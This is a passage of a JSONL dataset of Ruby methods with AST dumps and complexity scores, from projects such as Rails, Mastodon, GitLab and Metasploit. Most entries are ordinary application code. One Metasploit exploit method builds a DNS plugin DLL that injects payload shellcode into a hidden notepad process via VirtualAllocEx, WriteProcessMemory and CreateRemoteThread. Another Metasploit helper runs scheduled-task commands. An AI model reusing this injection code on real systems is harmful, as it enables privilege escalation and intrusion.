]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vuln\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"refs\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vuln\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"refs\"]}]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vuln\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"name\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vuln\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"refs\"]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vuln\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"name\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vuln\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"refs\"]}]},\"uniq!\"]},{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"workspace\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"host_object\"]},\"workspace\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"host\"]},{\"type\":\"lvar\",\"children\":[\"host_object\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vuln\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"name\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"info\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vuln\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"info\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"refs\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vuln\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"refs\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vuln\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"port\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vuln\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"proto\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"port\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vuln\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"port\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"proto\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vuln\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"proto\"]}]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"db_report\",{\"type\":\"sym\",\"children\":[\"vuln\"]},{\"type\":\"lvar\",\"children\":[\"data\"]}]}]}]}]}]}","id":"15f49f14-5fa4-47a9-b9fe-8edf6a658142"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/request_forgery_protection_test.rb","start_line":379,"raw_source":"def test_should_render_form_with_with_token_tag_with_authenticity_token_requested\n    @controller.stub :form_authenticity_token, @token do\n      assert_not_blocked do\n        get :form_with_local_with_token\n      end\n      assert_select \"form>input[name=?][value=?]\", \"custom_authenticity_token\", @token\n    end\n  end","complexity_score":6.9,"ast_json":"{\"type\":\"def\",\"children\":[\"test_should_render_form_with_with_token_tag_with_authenticity_token_requested\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@controller\"]},\"stub\",{\"type\":\"sym\",\"children\":[\"form_authenticity_token\"]},{\"type\":\"ivar\",\"children\":[\"@token\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_not_blocked\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"sym\",\"children\":[\"form_with_local_with_token\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_select\",{\"type\":\"str\",\"children\":[\"form>input[name=?][value=?]\"]},{\"type\":\"str\",\"children\":[\"custom_authenticity_token\"]},{\"type\":\"ivar\",\"children\":[\"@token\"]}]}]}]}]}","id":"cdbf24a1-d8aa-41a7-b836-9058bd27bda5"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/db/migrate/20220611212541_add_role_id_to_users.rb","start_line":6,"raw_source":"def change\n    safety_assured { add_reference :users, :role, foreign_key: { to_table: 'user_roles', on_delete: :nullify }, index: false }\n    add_index :users, :role_id, algorithm: :concurrently, where: 'role_id IS NOT NULL'\n  end","complexity_score":4.1,"ast_json":"{\"type\":\"def\",\"children\":[\"change\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"safety_assured\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"add_reference\",{\"type\":\"sym\",\"children\":[\"users\"]},{\"type\":\"sym\",\"children\":[\"role\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"foreign_key\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"to_table\"]},{\"type\":\"str\",\"children\":[\"user_roles\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"on_delete\"]},{\"type\":\"sym\",\"children\":[\"nullify\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"index\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_index\",{\"type\":\"sym\",\"children\":[\"users\"]},{\"type\":\"sym\",\"children\":[\"role_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"algorithm\"]},{\"type\":\"sym\",\"children\":[\"concurrently\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"where\"]},{\"type\":\"str\",\"children\":[\"role_id IS NOT NULL\"]}]}]}]}]}]}","id":"4bef3a97-ee62-4714-a533-1f6893ddac28"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/authn/token_field/encrypted.rb","start_line":101,"raw_source":"def find_by_encrypted_token(token, unscoped)\n        encrypted_value = encode(token)\n        token_encrypted_with_static_iv = Gitlab::CryptoHelper.aes256_gcm_encrypt(token)\n        relation(unscoped).find_by(encrypted_field => [encrypted_value, token_encrypted_with_static_iv]) # rubocop:disable CodeReuse/ActiveRecord: -- This is meant to be used in AR models.\n      end","complexity_score":7.4,"ast_json":"{\"type\":\"def\",\"children\":[\"find_by_encrypted_token\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"token\"]},{\"type\":\"arg\",\"children\":[\"unscoped\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"encrypted_value\",{\"type\":\"send\",\"children\":[null,\"encode\",{\"type\":\"lvar\",\"children\":[\"token\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"token_encrypted_with_static_iv\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"CryptoHelper\"]},\"aes256_gcm_encrypt\",{\"type\":\"lvar\",\"children\":[\"token\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"relation\",{\"type\":\"lvar\",\"children\":[\"unscoped\"]}]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"send\",\"children\":[null,\"encrypted_field\"]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"encrypted_value\"]},{\"type\":\"lvar\",\"children\":[\"token_encrypted_with_static_iv\"]}]}]}]}]}]}]}","id":"3b7fc664-c792-44aa-be97-2306dc6afd10"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/services/delete_account_service.rb","start_line":213,"raw_source":"def purge_feeds!\n    return unless @account.local?\n\n    FeedManager.instance.clean_feeds!(:home, [@account.id])\n    FeedManager.instance.clean_feeds!(:list, @account.owned_lists.pluck(:id))\n  end","complexity_score":10.2,"ast_json":"{\"type\":\"def\",\"children\":[\"purge_feeds!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@account\"]},\"local?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FeedManager\"]},\"instance\"]},\"clean_feeds!\",{\"type\":\"sym\",\"children\":[\"home\"]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@account\"]},\"id\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FeedManager\"]},\"instance\"]},\"clean_feeds!\",{\"type\":\"sym\",\"children\":[\"list\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@account\"]},\"owned_lists\"]},\"pluck\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]}]}","id":"453fa6d5-760e-4422-8ef4-d1bf8e983b4f"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/local/dnsadmin_serverlevelplugindll.rb","start_line":341,"raw_source":"def make_serverlevelplugindll(arch)\n    # generate the payload\n    payload = generate_payload\n    # the C template for the ServerLevelPluginDll DLL\n    c_template = %|\n        #include <Windows.h>\n        #include <stdlib.h>\n        #include <String.h>\n\n        BOOL APIENTRY DllMain __attribute__((export))(HMODULE hModule, DWORD dwReason, LPVOID lpReserved) {\n            switch (dwReason) {\n                case DLL_PROCESS_ATTACH:\n                case DLL_THREAD_ATTACH:\n                case DLL_THREAD_DETACH:\n                case DLL_PROCESS_DETACH:\n                    break;\n            }\n\n            return TRUE;\n        }\n\n        int DnsPluginCleanup __attribute__((export))(void) { return 0; }\n        int DnsPluginQuery __attribute__((export))(PVOID a1, PVOID a2, PVOID a3, PVOID a4) { return 0; }\n        int DnsPluginInitialize __attribute__((export))(PVOID a1, PVOID a2) {\n            STARTUPINFO startup_info;\n            PROCESS_INFORMATION process_info;\n            char throwaway_buffer[8];\n\n            ZeroMemory(&startup_info, sizeof(startup_info));\n            startup_info.cb = sizeof(STARTUPINFO);\n            startup_info.dwFlags = STARTF_USESHOWWINDOW;\n            startup_info.wShowWindow = 0;\n\n            if (CreateProcess(NULL, \"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\notepad.exe\", NULL, NULL, FALSE, 0, NULL, NULL, &startup_info, &process_info)) {\n                HANDLE processHandle;\n                HANDLE remoteThread;\n                PVOID remoteBuffer;\n\n                unsigned char shellcode[] = \"SHELLCODE_PLACEHOLDER\";\n\n                processHandle = OpenProcess(0x1F0FFF, FALSE, process_info.dwProcessId);\n                remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof shellcode, 0x3000, PAGE_EXECUTE_READWRITE);\n                WriteProcessMemory(processHandle, remoteBuffer, shellcode, sizeof shellcode, NULL);\n                remoteThread = CreateRemoteThread(processHandle, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL);\n\n                CloseHandle(process_info.hThread);\n                CloseHandle(processHandle);\n            }\n\n            return 0;\n        }\n    |\n\n    c_template.gsub!('SHELLCODE_PLACEHOLDER', Rex::Text.to_hex(payload.raw).to_s)\n\n    cpu = nil\n    case arch\n    when 'x86'\n      cpu = Metasm::Ia32.new\n    when 'x64'\n      cpu = Metasm::X86_64.new\n    else\n      fail_with(Failure::NoTarget, 'Target arch is not compatible')\n    end\n\n    print_status('Building DLL...')\n    Metasploit::Framework::Compiler::Windows.compile_c(c_template, :dll, cpu)\n  end","complexity_score":20.3,"ast_json":"{\"type\":\"def\",\"children\":[\"make_serverlevelplugindll\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"arch\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"payload\",{\"type\":\"send\",\"children\":[null,\"generate_payload\"]}]},{\"type\":\"lvasgn\",\"children\":[\"c_template\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"        #include <Windows.h>\\n\"]},{\"type\":\"str\",\"children\":[\"        #include <stdlib.h>\\n\"]},{\"type\":\"str\",\"children\":[\"        #include <String.h>\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"        BOOL APIENTRY DllMain __attribute__((export))(HMODULE hModule, DWORD dwReason, LPVOID lpReserved) {\\n\"]},{\"type\":\"str\",\"children\":[\"            switch (dwReason) {\\n\"]},{\"type\":\"str\",\"children\":[\"                case DLL_PROCESS_ATTACH:\\n\"]},{\"type\":\"str\",\"children\":[\"                case DLL_THREAD_ATTACH:\\n\"]},{\"type\":\"str\",\"children\":[\"                case DLL_THREAD_DETACH:\\n\"]},{\"type\":\"str\",\"children\":[\"                case DLL_PROCESS_DETACH:\\n\"]},{\"type\":\"str\",\"children\":[\"                    break;\\n\"]},{\"type\":\"str\",\"children\":[\"            }\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"            return TRUE;\\n\"]},{\"type\":\"str\",\"children\":[\"        }\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"        int DnsPluginCleanup __attribute__((export))(void) { return 0; }\\n\"]},{\"type\":\"str\",\"children\":[\"        int DnsPluginQuery __attribute__((export))(PVOID a1, PVOID a2, PVOID a3, PVOID a4) { return 0; }\\n\"]},{\"type\":\"str\",\"children\":[\"        int DnsPluginInitialize __attribute__((export))(PVOID a1, PVOID a2) {\\n\"]},{\"type\":\"str\",\"children\":[\"            STARTUPINFO startup_info;\\n\"]},{\"type\":\"str\",\"children\":[\"            PROCESS_INFORMATION process_info;\\n\"]},{\"type\":\"str\",\"children\":[\"            char throwaway_buffer[8];\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"            ZeroMemory(&startup_info, sizeof(startup_info));\\n\"]},{\"type\":\"str\",\"children\":[\"            startup_info.cb = sizeof(STARTUPINFO);\\n\"]},{\"type\":\"str\",\"children\":[\"            startup_info.dwFlags = STARTF_USESHOWWINDOW;\\n\"]},{\"type\":\"str\",\"children\":[\"            startup_info.wShowWindow = 0;\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"            if (CreateProcess(NULL, \\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\notepad.exe\\\", NULL, NULL, FALSE, 0, NULL, NULL, &startup_info, &process_info)) {\\n\"]},{\"type\":\"str\",\"children\":[\"                HANDLE processHandle;\\n\"]},{\"type\":\"str\",\"children\":[\"                HANDLE remoteThread;\\n\"]},{\"type\":\"str\",\"children\":[\"                PVOID remoteBuffer;\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"                unsigned char shellcode[] = \\\"SHELLCODE_PLACEHOLDER\\\";\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"                processHandle = OpenProcess(0x1F0FFF, FALSE, process_info.dwProcessId);\\n\"]},{\"type\":\"str\",\"children\":[\"                remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof shellcode, 0x3000, PAGE_EXECUTE_READWRITE);\\n\"]},{\"type\":\"str\",\"children\":[\"                WriteProcessMemory(processHandle, remoteBuffer, shellcode, sizeof shellcode, NULL);\\n\"]},{\"type\":\"str\",\"children\":[\"                remoteThread = CreateRemoteThread(processHandle, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL);\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"                CloseHandle(process_info.hThread);\\n\"]},{\"type\":\"str\",\"children\":[\"                CloseHandle(processHandle);\\n\"]},{\"type\":\"str\",\"children\":[\"            }\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"            return 0;\\n\"]},{\"type\":\"str\",\"children\":[\"        }\\n\"]},{\"type\":\"str\",\"children\":[\"    \"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c_template\"]},\"gsub!\",{\"type\":\"str\",\"children\":[\"SHELLCODE_PLACEHOLDER\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"to_hex\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},\"raw\"]}]},\"to_s\"]}]},{\"type\":\"lvasgn\",\"children\":[\"cpu\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arch\"]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"x86\"]},{\"type\":\"lvasgn\",\"children\":[\"cpu\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Metasm\"]},\"Ia32\"]},\"new\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"x64\"]},{\"type\":\"lvasgn\",\"children\":[\"cpu\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Metasm\"]},\"X86_64\"]},\"new\"]}]}]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"NoTarget\"]},{\"type\":\"str\",\"children\":[\"Target arch is not compatible\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Building DLL...\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Metasploit\"]},\"Framework\"]},\"Compiler\"]},\"Windows\"]},\"compile_c\",{\"type\":\"lvar\",\"children\":[\"c_template\"]},{\"type\":\"sym\",\"children\":[\"dll\"]},{\"type\":\"lvar\",\"children\":[\"cpu\"]}]}]}]}","id":"5504d8aa-3012-469b-aecf-539c82c424e5"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/services/work_packages/set_attributes_service/progress_values_calculations.rb","start_line":49,"raw_source":"def calculate_percent_complete(work:, remaining_work:)\n      # round to 2 decimal places because that's how we store work and remaining\n      # work in database\n      rounded_work = work.round(2)\n      rounded_remaining_work = remaining_work.round(2)\n      completed_work = rounded_work - rounded_remaining_work\n      completion_ratio = completed_work.to_f / rounded_work\n\n      percentage = (completion_ratio * 100)\n      case percentage\n      in 0 then 0\n      in 0..1 then 1\n      in 99...100 then 99\n      else\n        percentage.round\n      end\n    end","complexity_score":15.58,"ast_json":"{\"type\":\"def\",\"children\":[\"calculate_percent_complete\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"work\"]},{\"type\":\"kwarg\",\"children\":[\"remaining_work\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"rounded_work\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"work\"]},\"round\",{\"type\":\"int\",\"children\":[2]}]}]},{\"type\":\"lvasgn\",\"children\":[\"rounded_remaining_work\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"remaining_work\"]},\"round\",{\"type\":\"int\",\"children\":[2]}]}]},{\"type\":\"lvasgn\",\"children\":[\"completed_work\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rounded_work\"]},\"-\",{\"type\":\"lvar\",\"children\":[\"rounded_remaining_work\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"completion_ratio\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"completed_work\"]},\"to_f\"]},\"/\",{\"type\":\"lvar\",\"children\":[\"rounded_work\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"percentage\",{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"completion_ratio\"]},\"*\",{\"type\":\"int\",\"children\":[100]}]}]}]},{\"type\":\"case_match\",\"children\":[{\"type\":\"lvar\",\"children\":[\"percentage\"]},{\"type\":\"in_pattern\",\"children\":[{\"type\":\"int\",\"children\":[0]},null,{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"in_pattern\",\"children\":[{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[1]}]},null,{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"in_pattern\",\"children\":[{\"type\":\"erange\",\"children\":[{\"type\":\"int\",\"children\":[99]},{\"type\":\"int\",\"children\":[100]}]},null,{\"type\":\"int\",\"children\":[99]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"percentage\"]},\"round\"]}]}]}]}","id":"1e72d3f1-5d0b-4c37-8e1d-0459f1e7dd83"}
{"repo_name":"multiwoven","file_path":"./repos/multiwoven/integrations/lib/multiwoven/integrations/destination/mailchimp/client.rb","start_line":14,"raw_source":"def check_connection(connection_config)\n            connection_config = connection_config.with_indifferent_access\n            initialize_client(connection_config)\n            authenticate_client\n            success_status\n          rescue StandardError => e\n            failure_status(e)\n          end","complexity_score":9.2,"ast_json":"{\"type\":\"def\",\"children\":[\"check_connection\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"connection_config\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"connection_config\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"connection_config\"]},\"with_indifferent_access\"]}]},{\"type\":\"send\",\"children\":[null,\"initialize_client\",{\"type\":\"lvar\",\"children\":[\"connection_config\"]}]},{\"type\":\"send\",\"children\":[null,\"authenticate_client\"]},{\"type\":\"send\",\"children\":[null,\"success_status\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[null,\"failure_status\",{\"type\":\"lvar\",\"children\":[\"e\"]}]}]},null]}]}","id":"a01ee3e2-c47f-47e2-b9a6-097111ea0c3c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/workers/integrations/irker_worker.rb","start_line":180,"raw_source":"def colorize_nb_files(nb_files)\n      nb_files = \"\\x0312#{nb_files}\\x0f\" if @colors\n      nb_files\n    end","complexity_score":2.1,"ast_json":"{\"type\":\"def\",\"children\":[\"colorize_nb_files\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"nb_files\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@colors\"]},{\"type\":\"lvasgn\",\"children\":[\"nb_files\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\u000312\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"nb_files\"]}]},{\"type\":\"str\",\"children\":[\"\\u000f\"]}]}]},null]},{\"type\":\"lvar\",\"children\":[\"nb_files\"]}]}]}","id":"1df43b8a-ef21-4d9d-a154-aa170a69fe3a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/merge_requests/refresh_service.rb","start_line":341,"raw_source":"def merge_requests_for_forks\n      @merge_requests_for_forks ||=\n        MergeRequest\n          .opened\n          .from_project(project)\n          .from_source_branches(@push.branch_name)\n          .from_fork\n    end","complexity_score":9.2,"ast_json":"{\"type\":\"def\",\"children\":[\"merge_requests_for_forks\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@merge_requests_for_forks\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MergeRequest\"]},\"opened\"]},\"from_project\",{\"type\":\"send\",\"children\":[null,\"project\"]}]},\"from_source_branches\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@push\"]},\"branch_name\"]}]},\"from_fork\"]}]}]}","id":"88fc2fbd-f0f3-474a-8296-433691c8363e"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/post/windows/task_scheduler.rb","start_line":319,"raw_source":"def schtasks_exec(schtasks_cmd_str, with_result: false)\n          log_and_print(\"[Task Scheduler] executing command: #{schtasks_cmd_str}\")\n          # Using a longer timeout in case the task scheduler operation takes place\n          # on a remote host. The default timeout is not enough.\n          result = cmd_exec_with_result(schtasks_cmd_str, nil, 240)\n          return result if with_result\n          unless result[1]\n            raise TaskSchedulerError, \"Command execution failed: #{result[0]}\"\n          end\n        end","complexity_score":9.0,"ast_json":"{\"type\":\"def\",\"children\":[\"schtasks_exec\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"schtasks_cmd_str\"]},{\"type\":\"kwoptarg\",\"children\":[\"with_result\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"log_and_print\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"[Task Scheduler] executing command: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"schtasks_cmd_str\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[null,\"cmd_exec_with_result\",{\"type\":\"lvar\",\"children\":[\"schtasks_cmd_str\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"int\",\"children\":[240]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"with_result\"]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"TaskSchedulerError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Command execution failed: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]}]}]}]}]}]}","id":"9f0891ea-0c8c-4739-8c49-7f38d3d0e4a3"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/presenters/mail_presenter.rb","start_line":126,"raw_source":"def from\n    # changing to downcase to avoid case mismatch while finding contact\n    (@mail.reply_to.presence || @mail.from).map(&:downcase)\n  end","complexity_score":7.5,"ast_json":"{\"type\":\"def\",\"children\":[\"from\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@mail\"]},\"reply_to\"]},\"presence\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@mail\"]},\"from\"]}]}]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"downcase\"]}]}]}]}","id":"298849fc-b36d-408a-9e4a-ab6f59c70544"}
